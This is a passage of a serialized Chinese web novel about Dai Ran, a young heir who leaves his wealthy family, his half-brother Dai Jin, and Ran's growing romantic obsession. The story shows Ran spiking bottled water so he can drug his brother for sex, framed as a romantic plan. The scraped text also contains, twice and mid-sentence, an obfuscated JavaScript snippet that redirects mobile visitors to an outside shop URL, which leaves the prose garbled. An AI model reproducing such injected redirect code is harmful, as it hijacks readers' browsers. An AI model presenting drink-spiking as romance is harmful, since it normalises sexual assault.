“没有了。” 酒店的房间温暖又安心,上身的衣服很清爽,大概是他哥又照顾了他一夜一天。 有哥哥的感觉真好。 想一辈子留在哥哥身边。 道阻且长。 不知道他哥哪天就丢下他跑了,但那是未来极小概率才会发生的事情,至少现在,他得暂时让他哥安心。 黛燃维持着自己最认真的语气神态,又给自己的话,以及黛烬忐忑不安的心情,打上一个完美无缺的补丁。 “没有了,我不记得其他事情了。” * “不是,你这都不记得!” 季随之在电话里气急败坏,他在第七星所关了一夜一天,连看门的探员都看不下去,忍不住出声提醒他。 “小兄弟,你保释金也交了,找个人来给你签个字你就能出去了,多简单的事情?” 这话对于现在的季随之来说简直是火上浇油,但他不敢怼探员,只能暗自磨磨牙泄愤,把正在通话中的电话贴到耳边。 “说好了来捞我呢,燃燃你昨天拉着你哥就跑,把我丢这儿关了一晚上,你简直无情无义!” 季随之想想又准备补一句,还没张口,讯问室的门就忽然被人从外推开。 黛燃放下手机,挂掉电话。 “我这不来了吗?” 历经二十四小时,季随之终于被解救出来,重见天日。 他低头看看已经因为久蹲而变得皱巴巴的西装,这才想起自己错过了什么。 他故意放慢几步,不远不近地走在黛燃后面,道歉的话倒是少了平常的那些不着调,而是带着十足十的诚恳。 “对不起啊燃燃,是我没考虑好,你生日都没去成。” 黛燃却没生气,心情看起来反而比平常还要好,他大度地摆手。 “没关系,我还有我哥陪我过。” 黛燃说是这么说,但季随之却觉得这事儿不能就这么过去,思索再三,给出个解决的法子。 “那也行吧,昨天这事儿就当是我欠你个人情。要不这样,以后你哥过生日了,不用发请帖,你打个电话,我绝对带着人准时去给你哥俩庆生。” 黛燃简单想了想就点头答应下来。 “好啊。” 话毕,他突然话锋一转。 “不过那是以后的事情,我现在倒还有个事情想麻烦你帮忙。” 季随之听黛燃和他提要求,反倒放心了些,弯腰拍拍自己身上的褶皱和灰尘。 “你说呗,跟我还说这客套话。” 黛燃不再客气,有话直说。 “你有片儿吗?能给我看看吗?” 季随之没当回事儿,继续拍灰。 “什么片儿?都高三了,现在竞争压力这么大,谁有好的学习资料不自己藏着掖着?你别看我现在成绩没你好,但好班儿我可报了不少。” 他整理整理袖子,得意洋洋地双手交叉背在身后。 “不过就咱俩这关系,可以分你几个我珍藏的网课资料,不过先说好,你要是看上哪个,可得自己花钱报班儿啊,我这个月已经没有零花钱了,没办法装大款。” 黛燃少见地露出这种难以言喻的表情,他有点紧张,左顾右盼像在做贼。 “不是那个。” 季随之也跟着他左顾右盼,两个人搞得像是卧底在接头传递暗号。 “那是啥?” 黛燃现在紧张也学着他哥咽口水。 “就是那个,你喜欢男人女人啊?” 季随之没想到他会这么问,惊讶得合不拢嘴。 “这啥问题?不会吧不会吧,黛燃你不会喜欢我吧?” 黛燃闻言,轻轻闭上眼睛转头,没过一会儿,还是认命又无语地转回来。 “你别那么自信好吗?我就是问问题。” 季随之本来也是开玩笑,开完玩笑也不耽误说正事儿。 “我喜欢女人啊,怎么了,你喜欢男人吗?” 黛燃倒不觉得喜欢男人有什么丢人的,这种事情在现在的社会里太常见,只不过他想要的东西,就有点难以启齿了。 他把声音压得更低。 “那你有没有喜欢男人的片子?我想看。” 绕了一大圈,季随之终于恍然大悟。 “喔~你早说是这东西嘛,我找人帮你借两部。” 黛燃终于如释重负地松了口气。 “谢谢。” 季随之说做就做,用手机不知道从哪儿翻出几个联系人,消息发得飞快。 但他还是有点好奇,边打字边问。 “燃燃,你真喜欢男人啊?” 黛燃垂眸思考了自己的人生,想来想去,发现他还是想要哥哥。 如果喜欢男人就能永远留在哥哥身边的话。 黛燃下定决心。 “我想试试看,能不能喜欢男人。” 14. 【烬】阴阳 已经中午,黛燃临时接个电话离开,黛烬争取到了昨天的排休,但今天得工作,所以留在酒店没跟着去。 黛燃刚走,黛烬给人收拾完床铺后才继续处理工作,键盘敲到一半,酒店门忽然被人从外面敲响。 是黛烬叫的服务,他拎着准备好的脏衣物去开门,把黛燃换下来的衣服递给来打扫卫生的楼层服务员。 “谢谢。” 楼层服务员接过衣服放进推车里,又把推车往前推推,给黛烬让出门口的位置,自己则拿出一双新的卫生手套准备戴上。 “请问一下您的房间需要打扫吗?” 黛烬没往外走,而是转身看了眼已经被他收拾干净的双人间。 他的床铺早上起来的时候已经被他收拾好,黛燃的床也一向是他收拾的。 这小孩儿有点洁癖,床单被罩都是他洗干净从家里带来换上的。 换别人收拾,到时候万一收拾得不好,估计后面住得也闹心。 思及此,他摇头拒绝。 “不用了,麻烦您帮忙洗烘一下衣服就行。” 楼层服务员点点头,临走前用电子板刷新了下工作事项,刚好刷出来一条新提示,她礼貌地提醒黛烬这位新住客。 “您的房间定了一个晚上,需要续住的话,麻烦您前往一楼前台续费就行,或者也可以交给我帮您代为处理。” 黛烬不习惯麻烦别人,也害怕自己的钱落在别人手里,这种行为简直让人没安全感到坐立难安,毕竟他还没到钱多到可以忽略这些的时候。 他边拒绝边关门。 “不用了,我马上下去缴。” 楼层服务员交代完事项,这才推着推车离开。 黛烬关上门就快步回到电脑旁。 春节期间快递基本上都停工停运,工作其实不算多,甚至算得上清闲,但还是需要人时刻守着处理一些应急情况。 没看到新消息进来,黛烬快速翻出钱包房卡,准备下楼缴费。 确定拿好房卡后他才重新推开房门,确认门锁好后便转身大步离开。 他自己家住三楼,住酒店也习惯定三楼,这层没什么人,黛烬畅通无阻地走到电梯前,按下开门按钮。 今天是春节,大部分房客清早已经离开,没什么人抢电梯,门开的很快。 黛烬本以为电梯内也见不到人,却没想到电梯门打开的一瞬,就见里面站了一男一女。 女人站得微微靠后,她前面几步是位西装打扮的男人,两人一前一后站着,男人一看便是女人雇来的保镖。 保镖没拦黛烬,而是下意识护着身后的女人往旁边站了站,给他留出一个可以站三个人的位置。 黛烬也没多想,订酒店时他害怕黛燃住不惯,选的这家酒店本身就不便宜,遇到什么明星富商也属正常。 他和保镖礼貌地点点头就进门关门,看电梯内显示是去往一楼大堂的,同路,他没再操作,只按下关门键。 电梯再次启动。 黛烬不好意思直接打量别人,而是借着电梯内的反光材料偷偷瞧了靠后站着的女人两眼。 刚才进门匆忙间打个照面,他没仔细看,现在一瞧,他莫名觉得这人有点熟悉,像是在哪儿见过。 熟悉指的倒不是长相,而是那股由内而外散发出的气质,像是带着涟漪和波浪的湖水。 似曾相识。 他这些年也算是识人无数,不说过目不忘,但他确定自己此前从未见过这样让人印象深刻的人。 女人保养得很好,看不出年纪,身着剪裁得体的蓝色连衣裙,裙子版型很好,将人的身形衬得挺拔有精气神,脚上是一双微微带点根的平底鞋。 一身打扮简单利落,不像明星那样明艳张扬,但却也带着绝非普通人能拥有的气质和磁场,即便身旁不站保镖,女人无形的气场也绝对让人难以忽视。 最重要的是,他刚进电梯时女人便朝他微微偏过头,因此他才多留意了两眼。 电梯很快下到一楼。 黛烬率先走出去,临走前他隐隐约约听到身后电梯内有谈话声,怕听到别人隐私,他不由加快脚步。 电梯门在他身后慢慢关上,明明到了地点,里面的两人却没动。 电梯检测到没人往外走,触动了自动关门的功能,如果黛烬此时转身,就会发现这架电梯并不需要按关门键,按键只是个安慰人的装饰。 只要检测到无人进出门时,便会自动关门,从不等待拖后腿的人。 保镖没出声,侧身等待女人指示,女人却一动不动,盯着黛烬的背影久久不能回神。 直到电梯门缓缓关闭,即将隔绝她的视线时,女人才马上按下开门键,带着保镖,踩着平底鞋快步往黛烬身边走。 黛烬已经走到前台服务台旁。 前台看他走近,连忙从椅子上站起身,他掏出房卡和钱续房费,前台操作很快,几分钟就办好业务把房卡递回。 黛烬道谢转身,心里想着工作,他的电脑旁不能缺人看着,急着回去,没注意看脚下的路,刚一转身就差点撞到人。 相撞的两人均被吓到,女人猝不及防和黛烬打了个照面,看清黛烬的脸后她惊讶地微微张口,下意识喊出个名字。 “临朗?” 黛烬闻言,霎时怔在原地说不出话。 自从他爸七年前和他妈离婚,从袁朗改名为临朗,只身离开他们家后,他再也没听过这个名字。 这女人到底是谁?为什么用他爸的名字喊他? 空气死寂几秒。 黛烬游离的意识逐渐回笼,视线聚焦,此刻才彻底看清女人的脸。 女人面上带着个巨大的墨镜,几乎遮住半张脸,黛烬觉得那股莫名的熟悉感又在呼呼往外冒。 他沉默好一会儿,才终于想起要说话。 “您好,您认识我吗?” 女人闻言,终于摘下墨镜,露出那双黛烬熟悉无比的眼睛,那双和黛燃一模一样的眼睛,还有那像到极点的眉眼。 黛烬直到此刻才确信,自己过去从没见过眼前的女人,但不需要别人介绍,他好像知道女人是谁了…… 女人的反应比他还大,抓着他的胳膊就继续问。 “你,真不是临朗吗?” 都说儿子随妈,黛烬却是个例外,不仅没遗传到他妈柔和温婉的眉眼,反而和他爸的长相像了个十成十。 年幼时他曾胡思乱想过,是否就是因为他和他爸长得太像,他爸才更厌恶他,厌恶一个长着自己一样的脸,却和自己一样没出息的儿子。 人死不能复生。 黛烬摇摇头,决定把他爸的阴影彻底从他的人生里踢出去。 他猜到女人的身份,被迫回忆起过去,更替他妈感到不值,有点排斥地挣开女人拉他的手,语气冷漠。 “您认错人了。” 女人小声反复呢喃。 “认错了,认错了,也是,临朗已经死了,已经……” 保镖也没想到女人反应这么大,主动上前将女人和黛烬分开,护在身后,小声在女人耳边提醒。 “临总,您没事吧?” 临漾这才回过神,主动后退一步离黛烬远了些。 黛烬不再多看,转身就快步逃也似的冲回电梯,关门的按键他按了好几下,但电梯关门的速度丝毫不受他影响,依旧我行我素。 好在此时没人再往电梯里走,电梯门终于自动关闭,将临漾看向黛烬的视线彻底隔绝。 电梯内的黛烬照不到光,浑身冰凉,但身处一楼大堂内的临漾,脚下却踩着被树叶遮挡后变得斑驳的太阳。 阴阳两隔。 和临朗死的那天一样。 短短两个月内,临漾像是经历了两次阴阳两隔。 电梯被关上,从外面却可以看清显示屏记录的电梯楼层。 三楼。 * 三楼到了。 黛烬拿着充了钱的房卡刷开房间门,脑子里一团乱麻,他跑到电脑旁先看了眼屏幕,确认离开这段时间没出事,才愣愣地坐在电脑前发呆。 懵了一会儿,他又手忙脚乱地拿手机给他妈发消息。 【dj】:妈 【dj】:你吃午饭了吗 他妈的消息回的很快,直到看到他妈的消息黛烬才慢慢放松身体。 【妈】:吃了。 【妈】:你吃了吗? 【dj】:还没 【dj】:工作上有点事情,马上就吃了 【妈】:昨天晚上过年,你说有事不回来了,那今天是初一,你回来吗? 黛烬心里堵得难受,看了眼手机显示出的日期,又在订票网站上刷了一遍最近的高铁班次,看到晚上还有一班车。 他自从成年后就很少回家。 他妈该拥有自己的生活,而不是围着他这个没用的儿子打转。 虽然日子不好过,但他不想和他妈一起抱头痛哭。 尽管他平常回去的少,但逢年过节他一次不落,赚到钱会存好一部分,专门等回去看他妈的时候买点像样的东西。 剩下的除开日常吃住开销,闲钱都拿去花了。 他这种人生一眼就能望到头的人,没有什么存钱的必要。 黛烬点进购票网站,交了定金预定下两个位置。 不过他现在没什么机会拿闲钱去潇洒就是了,第一是他没那么多闲钱,第二是,他身边现在有了黛燃。 黛烬预定完回程的座位,连忙快速切换回和他妈的聊天记录,不想让他妈久等,字打得飞快。 【dj】:我在外面出差,如果今天能赶七八区,晚上我看看能不能回去 【妈】:好。 黛烬想起刚才电梯里遇到的女人,犹豫好久,才在输入框里打下那个名字。 【dj】:妈,我今天遇到临漾了 【妈】:你去二三区了吗? 【dj】:嗯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531620|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作上有点事情要来这边 【妈】:她没找你麻烦吧? 【dj】:没有,她把我认成我爸了 【妈】:你没事就行,在外面照顾好自己,不要和别人起冲突。 【妈】:我们和临家是两个世界的人,现在你爸爸没了,大家都各自安好吧,你不要再和他们家扯上关系了。 黛烬看着这条消息,又想起黛燃的身份,心里一阵心虚。 他知道自己不擅长撒谎,又庆幸还好他现在是和他妈发消息,而不是面对面。 【dj】:我知道的,妈你也是,晚点我能回去的话提前和你说 【妈】:好,妈妈知道了。 电脑突然弹出一条客户消息,黛烬匆忙地又发了条消息给他妈,然后就关掉手机继续处理工作,忙得脚不沾地。 “嘀嘀——” 就在此时,房间门忽然被人从外面刷开。 黛烬抬头一看,正好看到拎着东西回来的黛燃。 黛燃手里提着个环保袋,里面装满了花花绿绿的食品袋子,看黛烬在工作,他自觉不打扰,把买来的东西放在桌上。 他从袋子里拿出一瓶刚买的水,撕掉价签,背对着他哥拧盖子。 黛燃又小心翼翼扭头看了眼黛烬,见他哥低着头没往这边看,松了口气,提心吊胆地从兜里拿出准备好的东西。 那是一个很小的包装,上面什么都没写,他小心地撕开,谨慎地倒进开了盖的山泉水里。 粉末遇水就溶,无色无味,他把一整袋一点不剩地全都倒了进去。 倒完一袋,他重新拧紧山泉水瓶口,确定不漏水后,他握住瓶身上下小幅度地摇,没制造出声响,确定粉末全都融进去以后才停下。 黛燃又拿出一瓶没开盖的山泉水,两瓶放在一起对比。 他看了几遍都没看出区别,终于放心,又如法炮制出第二瓶加了东西的水。 一切准备就绪。 黛燃拿着两瓶水走到黛烬身边,两瓶都递到黛烬面前让他选。 “哥上班辛苦了,喝点水。” 黛烬随便挑了一瓶离他近的,接过水顺势看了眼瓶口,发现已经被拧开过。 他恍然大悟。 从黛燃进门起他就留意着黛燃的一举一动,看黛燃一会儿扭头一会儿扭头的,他还以为是发生什么事儿了。 搞半天这小孩儿背着他拧瓶盖呢,拧这好半天。 果然还是小孩儿。 黛烬悄悄勾起唇角笑,又很快便收起来。 还挺有心的。 原来这就是养成系吗?弟弟成年了就是不一样,还知道给他拧瓶盖呢。 他故意打趣黛燃。 “你这水看着,怎么和平常喝的不一样?” 他弟弟给他拧的水,看着都和一般的水不一样。 黛燃心里发慌,面上却淡定异常。 “哦,我买的山泉水,怎么了吗?” 他说完就不敢看他哥,而是紧盯黛烬手里的水,紧张得口水都不敢咽了。 黛烬又笑着骂了他一句。 “败家子。” 黛燃笑笑不说话。 给哥哥的,当然要最好的。 一瓶山泉水算什么,那水里的东西,才是真正的一克难求。 但他找了关系去做这笔买卖,所以非常划算,不仅做买卖那一刻值得,买下后产生的边际收益更是随着时间逐步递增。 怕他哥起疑,黛燃率先拧开自己手里的水,将下了药的水一口气喝下去一半,边喝边悄悄偷看正欲喝水的黛烬。 毕竟老话说得好。 春宵一刻,值千金。 “叮当——” 黛燃只喝了一半便将水放回桌上。 他心里着急,做坏事又没经验,自然沉不住气,为了缓解焦虑,他把手机牢牢攥在手里,却始终不敢按亮屏幕。 他妈已经知道了他和他哥的关系,他只有这一次机会,一旦失败,他这辈子都可能再无机会和他哥迈出这一步。 机不可失,时不再来。 他已经成年了,要想让他哥站在他这边,和他一辈子绑在一起不分开,最快的办法,就是让他哥和他阴阳□□。 黛烬没注意到黛燃的小心思,相反,他从早上起来就开始忙工作,到现在都没喝上一口水,正是口渴的时候。 这段时间相处下来两人越发熟悉,黛烬对这个弟弟毫不设防,拧开瓶盖就准备喝。 黛燃在一旁窥探,眼里带着望眼欲穿的渴望。 喝药还没过去几分钟,他就已经感受到了体内急剧攀升的热度,他也没想到这药效果会这么好,黛燃满意地加深笑容。 这一次,他势在必得。 只见黛烬将杯口抵在唇边,水还没喝下去,黛燃就忍不住提前追问。 药物作用随着时间只增不减,黛燃的语气都控制不住地微微发着抖。 “哥,味道怎么样?” 15. 【燃】老路 黛燃走在前面,路边两辆低调的黑车早已等候多时。 他走到前一辆车前,亲手拉开车门送季随之上车,算是自己捞人迟到的补偿。 季随之看是临家的专车,没跟他客气,上车后就招手打了个招呼。 黛燃也跟着挥挥手,送人离开后便走到第二辆黑车旁,坐车准备回酒店。 他刚要上车,身后就忽然传来几声沉重的脚步声,听起来像是有人在往他身边跑。 还没等他转头查看情况,黛燃就猛地被人从身后拽住了胳膊。 快步跑过来的临漾以为自己看错了,她上前一把拉住黛燃的胳膊喊出声。 “燃燃。” 黛燃一听这个熟悉的声音,立刻放弃上车转过身,喊他的人果然是临漾。 “妈妈。” 临漾双眸瞪大,没想到还真是黛燃,她摆摆手,跟在身边的保镖马上点头退到一边,给两人留出私人空间。 看着这个不知道什么时候已经长大成人的儿子,临漾也不免晃了下神。 临家家大业大,他们这一代就只有她和姐姐两个女儿,爸妈不偏心,产业都是她和姐姐两个人平分。 但姐姐家里至少还有姐夫帮衬,她这些年却都是独自一人掌家。 她有时候也在想,自己当初是不是真的选错了人。 或许她也应该像姐姐那样,结婚的时候就找个门当户对的人,现在就能既家庭美满,又能事业有成。 而不是像个不成熟的孩子,喜欢什么找什么,等玩够了再找个顺眼的过日子。 一意孤行。 从前临朗在的时候,她人脉资源水一样地泼出去,以为能泼出来一个源源不断的喷泉,让她在家人面前喘口气,这样也就能勉强说服自己找了个潜力股。 临漾一阵苦笑。 圈子不同的人,连根基都大不相同,投资回报率低得可怜,再好的资源投出去,最后也都是下雨天浇地。 多此一举。 因此刚生产过去没多久,她就忙不迭重新接手公司,可以说从这个儿子出生起,她基本就把人丢给临朗和佣人照顾。 她没给黛燃多少陪伴,自从忙起来,她甚至很少回二三区的庄园,基本上都住在三四商业区的别墅,离公司近。 两人这些年也就是偶尔同住屋檐下,她和黛燃的关系自然淡得像流水,说话都像陌生人。 “我昨天去家里,没找到你。” 她早就已经成年,不和爸妈一起住,她说的“家”,自然指的是黛燃住的地方。 黛燃闻言有点心虚,他不擅长撒谎,只随口打了个马虎眼。 “我昨天出去了。” 临漾看他人没事,也不多问。 她从随身背着的小包里拿出手机,打算习惯性地先给黛燃转二十万过去,付钱时却发现黛燃的实名换了名字。 临漾一手抓着黛燃的胳膊,另一手拿手机,她看着实名制转账上显示的名字蹙眉,一字一顿地念出来。 “黛燃?” 她眼皮一掀,视线落在正垂着头不敢看她的黛燃身上。 “你改名了?” 黛燃的声音轻得快要听不清,却像把重锤似的,把她的耳朵锤得一阵嗡鸣。 “嗯。” 事情发生得太突然,临漾一时哑然,甚至不知道要作何表情。 巨大的荒谬感迎面扑来,没有原因,临漾只靠自己混迹商圈多年的直觉,心底便萌生了一个荒诞又可笑的念头。 这个儿子,怕是想走自己的老路。 念头浮现的时候,首先吓了临漾自己一跳,她逃避似的将乱七八糟的想法从脑内扇走。 临漾有点紧张,质问的话说出口都跟着泄了两分气。 “这么大的事情,你怎么没和我商量一下?” 黛燃沉默,临漾等不及又抛出个问题给他。 “能说说为什么姓黛吗?” 黛燃依旧不说话。 临漾见状也有点火了,她退出转账页面,找到列表里的联系人一个一个划过去。 “你沉默,我就自己猜了。” 通讯录里的名字飞快划过眼前,临漾划到一半,很快就在临姓的前排找到了一个人,她滑动的指尖一顿。 临朗。 临朗意外出事谁都没想到,这些年他在公司多少算个高管,没来得及交接的工作很多,也都需要联系电话联系,所以她花钱给保住了号码。 现在看着这个名字,她脑内灵光一现。 “临朗的前妻,是不是姓黛?” 她虽然不经常带这个儿子,但实打实的母子关系摆在那儿,黛燃连紧张的小习惯居然都和她一模一样。 母子连心。 临漾知道自己猜对了。 荒谬感翻江倒海般地袭上心头,临漾气极反笑。 “所以你这是给自己找了个妈妈?” 没做的事情黛燃绝对不会承认。 “不是。” 临漾知道黛燃不喜欢说谎,知道他不是找了个妈以后缓了口气,想着黛燃大概还是年纪小,很多利害关系都不懂。 她从前没教过黛燃这些,不知者无罪,她决定给黛燃一次机会。 “燃燃,你知道改姓意味着什么吗?” 黛燃不撒谎,自己确实知道的事情黛燃也绝对会承认。 “知道。” 临漾拉着黛燃的手忽然松了。 她不喜欢发火,更不喜欢在外面发火。看黛燃说话时决绝的样子,显然不是什么都不懂的蠢蛋。 人教人,教不会。 她自己就是亲历者,这个道理她再清楚不过,当初她非要和一穷二白的临朗结婚时,父母也这么劝过她。 临漾不再多说,而是继续操作手机把联系人页面退出,重新切换回转账页面。 密码输进去,手机页面弹出一条手续费提示。 【请确认手续费账单】 临漾在生意场上见过很多次这种手续费提示,但是从来没在家里见过,她给临家的园丁转账都从没被扣过手续费。 因为临家除了配偶以外,没有一个外姓人。 她选择【自费】手续费,点击【确定支付】,将手机收回包里。 保镖时刻注意着临漾的一举一动,见她招手,快速回到临漾身边。 临漾临走前又看了眼黛燃,她没指责也没支持,而是先道喜。 “生日快乐。” 她第一次叫这个名字不太适应,在心里默念几遍才说出口。 “黛燃。” * 目送临漾离开,黛燃坐进路边等候已久的专车里。 他来之前叫了两辆临家的专车,一辆送季随之回去,一辆接送自己。 今天依旧是临胜来接他。 黛燃坐在后排,视线又一次看向驾驶座,方向盘中央还是那个大大的“L”标,他看了会儿就移开视线。 语气难得有点迷茫。 “临胜叔叔,我改姓了,您的车我以后还能坐吗?” 临胜闻言也怔了下,而后大咧咧地笑。 “没事儿啊燃燃,我没接到消息呢,只要你想坐,随时给你临胜叔叔打电话啊!” 黛燃眼皮快速眨了几下。 母亲刚才的反应他知道是什么意思,除了配偶以外,临家没有外姓人。 平常大家互相之间的称呼也都是叫全名,临姓,那是荣耀,所有带着这个姓氏的人都引以为傲。 在二三区报上名来,无论是谁,只要你姓临,都能被各行各业卖几分面子。 临胜说话也下意识报上全名,从前再日常不过的举动,今天却无意间刺伤了如今已经脱离家族的黛燃。 临胜也是临家的人。 但是黛燃不是了。 黛燃将视线从方向盘移到窗外。 这是一条老路,他从小走到大。 路边的树木齐整整地倒退,修剪整齐的梧桐树排列得井然有序。 能在这个时代给主干道旁种上树,靠得都是临家自己的水源无偿灌溉,毕竟好的绿化,才是一级市区最好的体面。 郁郁葱葱的树木以极快的速度从眼前闪过,定期被专人打理过的绿化带,无论黛燃怎么努力看,都找不出任何一个主动脱离队伍的异类。 也是,只要老老实实地长大,经过统一的修整,就能安然无恙一辈子待在舒适圈里,享受最顶级的修剪栽培。 没人会傻到长歪。 自掘坟墓。 黛燃偶尔也会怀疑自己当初的决定是对是错,脱离临家,他哥以后要是反悔不要他,他就真的无家可归了。 孤注一掷。 真的值得吗? 黛燃不敢再想,此时手机恰好震响,他拿出来一看,正好收到季随之发来的视频,紧接着的消息一发就是一连串。 【随便随便】:你要的东西 【随便随便】:不清楚你的喜好,我什么类型的都给你找了一个 【随便随便】:有喜欢的再和我说,都是兄弟,不用不好意思哈 黛燃随便点了几下手机。 【dr】:谢谢 他数了数个数,发来的视频大大小小有十个之多。 这十个视频时长都不短,画质也高,但传输速度却快得出奇,不过黛燃一想到发送人是季随之就不奇怪了。 看着消息一条条蹦出来,黛燃面不改色地滑动屏幕,一直划到第一条视频才停手,他做事情,一向喜欢按顺序进行。 这种视频他虽然没看过,但里面有什么内容,他多少还是有所耳闻。 打开视频之前,黛燃把音量条一口气拉到底部,全部关掉。 他不想听别人在视频里叫|床。 临胜在前面开车,听后排许久没有声音,主动抛话题。 “少爷,您回酒店吗?” 黛燃一言不发,盯着视频里两个缠绵在一起的男人不放。 视频里的主角都没有露脸,也不知道是不是巧合,他觉得其中一个男主的身材和他哥尤其相似。 黛燃下意识要点退出,手却不停使唤,僵在原地不敢动。 黛烬的背景和行踪他了如指掌,自然知道这上面的人不可能是黛烬,但就是因为不可能是黛烬,忽如其来的意外才打了他一个措手不及。 太像了。 无论是肩膀还是身材比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531621|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例,无论是背还是腰,都像是一个模子刻出来的,像到他没办法不直接脑补出视频里主角的脸。 临胜没听到回应,瞥了眼车内后视镜,见黛燃没睡着,又试着喊了一声。 “少爷?” 黛燃被这一声吓得直接把手机甩到脚边,担心临胜发现,他下意识并拢双腿,又手忙脚乱地把上衣掩饰性地往下拉了拉。 手机上的视频还在继续,剧情正是精彩的时候,黛燃却一秒都不敢看了。 他怎么,怎么能把他哥的脸往这种视频上代入…… 难不成,难不成他真喜欢男人吗? 心乱如麻。 黛燃慌里慌张地又把手机捡起来,这次他毫不犹豫点了退出,随便点开其他视频,把进度条一下拉到中间部分。 只需要几秒钟的进度条,主角就能从衣冠楚楚迅速脱到□□。 但这次的主角搭配就和他哥完全沾不上边了,黛燃看得直蹙眉头,没看几秒就毫不留情地点击退出,完事儿还嫌不解恨似的,又长按视频点击删除。 删掉这个,他忍不住再次将视线移到那个主角身材神似他哥的视频。 前排开车的临胜还在等着他发话,但是他一个字都说不出口了。 只有他自己知道自己在想什么,身体反应骗不了人。 他喜欢他哥。 原来不是因为黛烬是他哥,而是因为他哥是黛烬。 原来他不是想找哥哥。 而是,喜欢黛烬。 思及此,黛燃没忍住爆了句粗口。 “艹。” 他长这么大从来没谈过恋爱,也没喜欢过别人,他以为想和一个人永远在一起,想靠近,想接触,那都是正常兄弟之间的依赖,没什么问题。 所以他等啊等,等着黛烬一点点接纳他,等着黛烬说永远不会丢下他,等着黛烬越来越离不开他。 他们是兄弟啊。 想和黛烬做兄弟,除了陪着和等着以外,他还能有什么办法? 但是喜欢就不一样了。 黛燃又想骂人又想笑,百般情绪揉在一起,找不到发泄口,他连自己都骂。 妈的,连亲情和爱情都分不清楚,蠢死了。 骂完他又忍不住替自己辩解。 他是独生子,身边又没有哥哥做对比,他怎么知道那是什么感情? 原来不是亲情啊。 黛燃恍然大悟,心内虽震撼,但只花了三分钟就完美接受了这个事实。 大概是昨天晚上又被他哥照顾,他睡得很好,连脑子都转得比平常快不少。 他终于收回看向窗外的视线,转而看向身上黛烬给他洗过的衣服。 黛燃莞尔。 他知道要怎么留住黛烬了。 哥哥,我们没完。 * 完了。 黛燃还没回到酒店,手机就忽然响铃,一看来电人是母亲,他莫名有种不好的预感。 电话接起,临漾虽然没站在他面前,黛燃却听出了话里的咬牙切齿。 “你老实和我说,你是不是往酒店里藏人了?” 黛燃强装镇定。 “什么酒店?” 临漾大概是气狠了,难得飙了句脏话。 “妈的你少跟我装,你住酒店还知道住自家的,我刚从酒店里出来,三楼那间尾房的登记人,名字就叫黛烬。” 黛燃一慌,忽然想起那房间是他哥订的,他哥大概是想找个好的,没想到找到他自己身上了,反而惹来祸端。 疏忽了。 他还没编好谎言说出口,临漾就未卜先知地怼回去。 “别跟我说你不认识。” 临漾笑了两声。 “黛燃,你跟妈妈说说说看,黛烬,是你什么人?” 黛燃长舒一口气,见再也瞒不住,他终于承认。 “我哥。” “临朗的儿子?” “嗯。” 确认了黛烬的身份后,临漾再也没给黛燃反驳的机会,话像连珠炮似的往外砸。 “黛燃,别的不说,这些年衣、食、住、行,我哪样亏待过你?临朗和我结婚了我他妈才知道他刚离婚,他是个什么东西你不清楚?” “龙生龙凤生凤,现在他死了,你和他儿子搅在一起,还改了他儿子的姓上赶着去给人倒贴,黛燃,你真是好样的。” “我就你一个儿子,以后我死了,家里的产业都是你一个人的,你给我下这么大面子,是一分钟都等不了,迫不及待想气死你妈是吗?” 黛燃闭了闭眼睛。 他妈果然还是知道了。 来不及等他哥一点一点开窍了。 黛燃都没怎么犹豫,和临漾做事一样稳准狠,他决定再次重走老路,就像当初改姓跟着他哥一样,把自己的退路堵死,也把他哥的退路堵死。 孤注一掷。 他需要黛烬站在他这边,无条件地站在他这边,义无反顾地站在他这边,不然妈妈肯定要想办法把他们分开了。 但他哥那样的人又实在难搞,油盐不进,砸钱都买不到手。 那最快的办法就只剩下一个。 下药。 16. 【烬】凿壁 “哥,味道怎么样?” 黛烬以为黛燃在催自己喝他给的水,直觉哪里怪怪的,想想又觉得可能是小孩儿求表扬,没设防,准备喝水。 玻璃瓶嗑在牙关上,发出“咚”的一声脆响,液体就要千军万马地滑进口腔。 “嗡嗡嗡——” 黛烬还没喝到水,手机却在此刻忽然震响,工作电话,黛烬放下水就快速接起来。 “喂你好。” 黛燃没想到会被忽然打断计划,一下懵了,眼看黛烬站起身,他也要跟着站起来。 但他喝了药,刚站起来就觉得浑身使不上力气,强撑着身体勉强往前走一步,更是腿软得差点直接跪在地上。 黛燃手撑在冰凉的瓷砖上,气得暗暗磨牙。 明明差一点儿就成功了…… 体内的药起效太快,黛烬背对着黛燃接电话,怕被他发现,黛燃马上扶住床边坐回去,视线却紧锁着黛烬的背影不放。 他刚在片子里看过这个背影,太像了,但他觉得那个人肯定没他哥帅,而且他见他哥的身体见得太少。 说不定脱掉衣服,他哥的身材比片子里的人还好…… 黛燃越想大脑越昏沉,理智虚虚悬在线上,马上就要崩断,他只得死死咬着唇,用破皮的疼痛强迫自己保持清醒。 还不行。 黛燃眼前一片模糊,他挣扎着爬到床头,随便摸了瓶水,打算喝下去醒醒神。 液体刚入口,冰凉的触感便将他的理智强行唤回几分,他大口大口地喝,直到这口气过去,游离的视线才逐渐聚焦。 他习惯性拧上瓶盖,重新聚焦的视线下意识看了眼手里的瓶子。 就在看清瓶身的瞬间,黛燃吓得直接把还剩下半瓶水的瓶子扔到地上! 完蛋了…… 他拿错瓶子了…… 